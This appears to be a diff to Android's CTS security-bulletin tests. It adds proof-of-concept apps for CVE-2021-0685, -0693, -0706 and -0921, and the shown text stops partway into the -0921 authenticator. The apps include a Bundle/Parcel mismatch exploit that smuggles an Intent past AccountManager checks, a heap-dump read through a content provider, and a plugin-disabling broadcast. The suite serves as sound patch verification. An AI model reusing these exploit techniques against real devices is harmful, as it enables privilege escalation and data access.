+import android.accounts.AccountManager; +import android.app.Activity; +import android.content.Intent; +import android.os.Bundle; + +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + Bundle verifyBundle = new Bundle(); + verifyBundle.putParcelable(AccountManager.KEY_INTENT, new Intent(this, PocActivity.class)); + Bundle testBundle = new Bundle(); + Intent intent = + new Intent().setClassName("android", "com.android.internal.app.PlatLogoActivity"); + testBundle.putParcelable(AccountManager.KEY_INTENT, intent); + + PocAmbiguator ambiguator = new PocAmbiguator(); + try { + PocAuthService.mAddAccountResponse = ambiguator.make(verifyBundle, testBundle); + } catch (Exception exception) { + exception.printStackTrace(); + } + startActivity(new Intent() + .setClassName("android", "android.accounts.ChooseTypeAndAccountActivity") + .putExtra("allowableAccountTypes", + new String[] {"android.security.cts.cve_2021_0685.account"})); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java new file mode 100644 index 00000000000..75b04ca49f4 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java @@ -0,0 +1,140 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0685; + +import android.content.IntentFilter; +import android.os.Bundle; +import android.os.Parcel; +import android.text.TextUtils; + +import java.util.Random; + +public class PocAmbiguator { + private static final int BUNDLE_MAGIC = 0x4C444E42; + private static final int BUNDLE_SKIP = 12; + private static final int VAL_NULL = -1; + private static final int VAL_BUNDLE = 3; + private static final int VAL_PARCELABLE = 4; + private static final int VAL_OBJECTARRAY = 17; + private static final int VAL_INTARRAY = 18; + private static final int SIZE_RANDOM_STR = 6; + private static final int TIMER_MILLIS = 30 * 1000; + + public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception { + Random random = new Random(1234); + int minHash = 0; + for (String s : preReSerialize.keySet()) { + minHash = Math.min(minHash, s.hashCode()); + } + for (String s : postReSerialize.keySet()) { + minHash = Math.min(minHash, s.hashCode()); + } + String key; + int keyHash; + long allowedTime = System.currentTimeMillis() + TIMER_MILLIS; + + do { + key = randomString(random); + keyHash = key.hashCode(); + } while (keyHash >= minHash && System.currentTimeMillis() < allowedTime); + + if (keyHash >= minHash) { + return null; + } + + if (!padBundle(postReSerialize, preReSerialize.size(), minHash, random)) { + return null; + } + if (!padBundle(preReSerialize, postReSerialize.size(), minHash, random)) { + return null; + } + + Parcel parcel = Parcel.obtain(); + + int sizePosition = parcel.dataPosition(); + parcel.writeInt(0); + parcel.writeInt(BUNDLE_MAGIC); + int startPosition = parcel.dataPosition(); + + parcel.writeInt(preReSerialize.size() + 1); + + parcel.writeString(key); + parcel.writeInt(VAL_OBJECTARRAY); + parcel.writeInt(3); + + parcel.writeInt(VAL_PARCELABLE); + parcel.writeString("android.content.pm.parsing.component.ParsedIntentInfo"); + new IntentFilter().writeToParcel(parcel, 0); + parcel.writeInt(0); + parcel.writeInt(0); + TextUtils.writeToParcel(null, parcel, 0); + parcel.writeInt(0); + + parcel.writeInt(VAL_INTARRAY); + parcel.writeInt(6); + parcel.writeInt(1); + parcel.writeInt(-1); + parcel.writeInt(0); + parcel.writeInt(VAL_NULL); + parcel.writeInt(VAL_INTARRAY); + parcel.writeInt(4); + + parcel.writeInt(VAL_BUNDLE); + parcel.writeBundle(postReSerialize); + writeBundleSkippingHeaders(parcel, preReSerialize); + + int bundleDataSize = parcel.dataPosition() - startPosition; + parcel.setDataPosition(sizePosition); + parcel.writeInt(bundleDataSize); + + parcel.setDataPosition(0); + Bundle bundle = parcel.readBundle(); + parcel.recycle(); + return bundle; + } + + private static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) { + Parcel skipParcel = Parcel.obtain(); + bundle.writeToParcel(skipParcel, 0); + parcel.appendFrom(skipParcel, BUNDLE_SKIP, skipParcel.dataPosition() - BUNDLE_SKIP); + skipParcel.recycle(); + } + + private static String randomString(Random random) { + StringBuilder b = new StringBuilder(); + for (int i = 0; i < SIZE_RANDOM_STR; ++i) { + b.append((char) (' ' + random.nextInt('~' - ' ' + 1))); + } + return b.toString(); + } + + private static boolean padBundle(Bundle bundle, int size, int minHash, Random random) { + while (bundle.size() < size) { + String key; + long allowedTime = System.currentTimeMillis() + TIMER_MILLIS; + do { + key = randomString(random); + } while ((key.hashCode() < minHash || bundle.containsKey(key)) + && System.currentTimeMillis() < allowedTime); + bundle.putString(key, "PADDING"); + if (key.hashCode() < minHash) { + return false; + } + } + return true; + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java new file mode 100644 index 00000000000..44d7656dbfc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java @@ -0,0 +1,84 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0685; + +import android.accounts.AbstractAccountAuthenticator; +import android.accounts.Account; +import android.accounts.AccountAuthenticatorResponse; +import android.accounts.NetworkErrorException; +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.os.Bundle; +import android.os.IBinder; + +public class PocAuthService extends Service { + + public static Bundle mAddAccountResponse; + + @Override + public IBinder onBind(Intent intent) { + return new Authenticator(this).getIBinder(); + } + + private static class Authenticator extends AbstractAccountAuthenticator { + @Override + public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, + String authTokenType, String[] requiredFeatures, Bundle options) + throws NetworkErrorException { + return mAddAccountResponse; + } + + Authenticator(Context context) { + super(context); + } + + @Override + public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) { + return null; + } + + @Override + public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account, + Bundle options) throws NetworkErrorException { + return null; + } + + @Override + public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account, + String authTokenType, Bundle options) throws NetworkErrorException { + return null; + } + + @Override + public String getAuthTokenLabel(String authTokenType) { + return null; + } + + @Override + public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, + String authTokenType, Bundle options) throws NetworkErrorException { + return null; + } + + @Override + public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account, + String[] features) throws NetworkErrorException { + return null; + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp new file mode 100644 index 00000000000..6832e6de2c5 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/Android.bp @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-0693", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/AndroidManifest.xml new file mode 100644 index 00000000000..55bece53140 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/AndroidManifest.xml @@ -0,0 +1,37 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_0693" + android:versionCode="1" + android:versionName="1.0"> + <application + android:allowBackup="true" + android:debuggable="true" + android:label="CVE-2021-0693" + android:supportsRtl="true"> + <activity android:exported="true" android:name=".PocActivity"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_0693" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/res/layout/activity_main.xml new file mode 100644 index 00000000000..566c342f644 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <TextView + android:layout_width="match_parent" + android:layout_height="match_parent" + android:text="CVE-2021-0693"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/DeviceTest.java new file mode 100644 index 00000000000..911226afe43 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/DeviceTest.java @@ -0,0 +1,64 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0693; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + private static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0693"; + private static final int TIMEOUT_MS = 20000; + private UiDevice mDevice; + + @Before + public void wakeUpDevice() { + mDevice = UiDevice.getInstance(getInstrumentation()); + try { + mDevice.wakeUp(); + mDevice.pressMenu(); + mDevice.pressHome(); + } catch (Exception e) { + throw new RuntimeException("Could not wake up the phone", e); + } + } + + @Test + public void testHeapDumpAccessibility() { + Context context = getApplicationContext(); + assertNotNull(context); + PackageManager packageManager = context.getPackageManager(); + assertNotNull(packageManager); + final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE); + assertNotNull(intent); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + context.startActivity(intent); + mDevice.wait(Until.hasObject(By.pkg(TEST_PACKAGE).depth(0)), TIMEOUT_MS); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/PocActivity.java new file mode 100644 index 00000000000..a9c2396a420 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0693/src/android/security/cts/CVE_2021_0693/PocActivity.java @@ -0,0 +1,50 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0693; + +import android.app.Activity; +import android.app.ActivityManager; +import android.content.ContentResolver; +import android.net.Uri; +import android.os.Bundle; + +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + registerHeapLimit(); + try { + ContentResolver resolver = PocActivity.this.getContentResolver(); + String file = "content://com.android.shell.heapdump/" + + "android.security.cts.CVE_2021_0693_javaheap.bin"; + resolver.openFile(Uri.parse(file), "r", null); + } catch (Exception e) { + if (e instanceof SecurityException) { + return; + } + } + /* If SecurityException is not thrown, it indicates absence of fix */ + throw new RuntimeException("Heapdump is retrievable! Vulnerable to b/184046948!!"); + } + + private void registerHeapLimit() { + ActivityManager activityManager = getSystemService(ActivityManager.class); + activityManager.setWatchHeapLimit(1); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp new file mode 100644 index 00000000000..d09ece956bd --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/Android.bp @@ -0,0 +1,36 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +android_test_helper_app { + name: "CVE-2021-0706", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/AndroidManifest.xml new file mode 100644 index 00000000000..d6251633acb --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/AndroidManifest.xml @@ -0,0 +1,35 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_0706" + android:versionCode="1" + android:versionName="1.0"> + <application + android:label="CVE-2021-0706" + android:supportsRtl="true"> + <activity android:name=".PocActivity" android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_0706" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/res/layout/activity_main.xml new file mode 100644 index 00000000000..150082260d9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <TextView + android:layout_width="match_parent" + android:layout_height="match_parent" + android:text="CVE-2021-0706"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/DeviceTest.java new file mode 100644 index 00000000000..89ebb8f8264 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/DeviceTest.java @@ -0,0 +1,61 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0706; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.Uri; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; +import org.junit.runner.RunWith; +import org.junit.Test; +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assume.assumeNotNull; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + + @Test + public void testDisablePlugin() { + UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + Context context = getApplicationContext(); + assumeNotNull(context); + final int TIMEOUT_MS = 10000; + String TEST_PACKAGE = "android.security.cts.CVE_2021_0706"; + String errorMessage = "PocActivity from package android.security.cts.CVE_2021_0706" + + " is disabled. Device is vulnerable to b/193444889!"; + PackageManager packageManager = context.getPackageManager(); + assumeNotNull(packageManager); + Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE); + assumeNotNull(intent); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + context.startActivity(intent); + assumeNotNull(mDevice.wait(Until.hasObject(By.pkg(TEST_PACKAGE).depth(0)), TIMEOUT_MS)); + Intent intentDisablePlugin = new Intent("com.android.systemui.action.DISABLE_PLUGIN"); + Uri uri = Uri.parse("package://android.security.cts.CVE_2021_0706/.PocActivity"); + intentDisablePlugin.setData(uri); + context.sendBroadcast(intentDisablePlugin); + assumeNotNull(mDevice.wait(Until.gone(By.pkg(TEST_PACKAGE).depth(0)), TIMEOUT_MS)); + intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE); + assertNotNull(errorMessage, intent); + } +} diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/PocActivity.java index cb07bae960b..0d79f1c3e08 100644 --- a/hostsidetests/userspacereboot/testapps/BasicTestApp/src/com/android/cts/userspacereboot/basic/LauncherActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0706/src/android/security/cts/CVE_2021_0706/PocActivity.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2020 The Android Open Source Project + * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -14,12 +14,16 @@ * limitations under the License. */ -package com.android.cts.userspacereboot.basic; +package android.security.cts.CVE_2021_0706; import android.app.Activity; +import android.os.Bundle; -/** - * An empty launcher activity. - */ -public class LauncherActivity extends Activity { +public class PocActivity extends Activity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + } } diff --git a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp index df1baedbc0e..2936db9a841 100644 --- a/hostsidetests/userspacereboot/testapps/BasicTestApp/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp @@ -1,10 +1,10 @@ -// Copyright (C) 2020 The Android Open Source Project +// Copyright (C) 2021 The Android Open Source Project // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // -// http://www.apache.org/licenses/LICENSE-2.0 +// http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, @@ -12,21 +12,22 @@ // See the License for the specific language governing permissions and // limitations under the License. -package { - default_applicable_licenses: ["Android-Apache-2.0"], -} - android_test_helper_app { - name: "BasicUserspaceRebootTestApp", - srcs: ["src/**/*.java"], - manifest : "AndroidManifest.xml", + name: "CVE-2021-0921", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + platform_apis: true, + test_suites: [ + "cts", + "vts10", + "sts", + ], static_libs: [ - "androidx.test.runner", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", "androidx.test.core", - "testng", - "truth-prebuilt", + "androidx.appcompat_appcompat", ], - min_sdk_version: "29", - // TODO(ioffe): change to number when SDK is finalized. - sdk_version: "system_current", + sdk_version: "current", } + diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/AndroidManifest.xml new file mode 100644 index 00000000000..2e81b866e48 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/AndroidManifest.xml @@ -0,0 +1,57 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2021_0921" + android:targetSandboxVersion="2"> + + <application> + <uses-library android:name="android.test.runner"/> + + <activity android:name=".AuthenticatorActivity" android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + </activity> + + <activity android:name=".TestActivity" android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.RUN"/> + <category android:name="android.intent.category.DEFAULT"/> + </intent-filter> + </activity> + + <service + android:name=".AuthenticatorService" + android:enabled="true" + android:exported="true"> + <intent-filter> + <action android:name="android.accounts.AccountAuthenticator" /> + </intent-filter> + + <meta-data + android:name="android.accounts.AccountAuthenticator" + android:resource="@xml/authenticator" /> + </service> + </application> + + <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_0921" /> + +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/layout/activity_main.xml new file mode 100644 index 00000000000..09d024c301f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <TextView + android:layout_width="match_parent" + android:layout_height="match_parent" + android:text="CVE-2021-0921"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/colors.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/colors.xml new file mode 100644 index 00000000000..69b22338c65 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/colors.xml @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<resources> + <color name="colorPrimary">#008577</color> + <color name="colorPrimaryDark">#00574B</color> + <color name="colorAccent">#D81B60</color> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/strings.xml new file mode 100644 index 00000000000..1a689a5305b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/strings.xml @@ -0,0 +1,3 @@ +<resources> + <string name="app_name">AnyIntentPoc</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/styles.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/styles.xml new file mode 100644 index 00000000000..5885930df6d --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/styles.xml @@ -0,0 +1,11 @@ +<resources> + + <!-- Base application theme. --> + <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar"> + <!-- Customize your theme here. --> + <item name="colorPrimary">@color/colorPrimary</item> + <item name="colorPrimaryDark">@color/colorPrimaryDark</item> + <item name="colorAccent">@color/colorAccent</item> + </style> + +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/xml/authenticator.xml new file mode 100644 index 00000000000..46194d5022f --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/xml/authenticator.xml @@ -0,0 +1,5 @@ +<?xml version="1.0" encoding="utf-8"?> +<account-authenticator + xmlns:android="http://schemas.android.com/apk/res/android" + android:accountType="android.security.cts" + android:label="@string/app_name"/> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Authenticator.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Authenticator.java new file mode 100644 index 00000000000..4d4ad986f2b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Authenticator.java @@ -0,0 +1,157 @@ +package android.security.cts.CVE_2021_0921; + +import android.accounts.AbstractAccountAuthenticator; +import android.accounts.Account; +import android.accounts.AccountAuthenticatorResponse; +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.Intent; +import android.os.Bundle; +import android.os.IBinder; +import android.os.IInterface; +import android.os.Parcel; +import android.os.RemoteException; +import android.util.Log; + +import java.io.FileDescriptor; +import java.lang.reflect.Field; + +public class Authenticator extends AbstractAccountAuthenticator { + public static Intent mIntent; + private int TRANSACTION_onResult; + private IBinder mOriginRemote; + private static final String TAG = "TAG_2021_0921.Authenticator"; + private IBinder mProxyRemote = new IBinder() { + @Override + public String getInterfaceDescriptor() 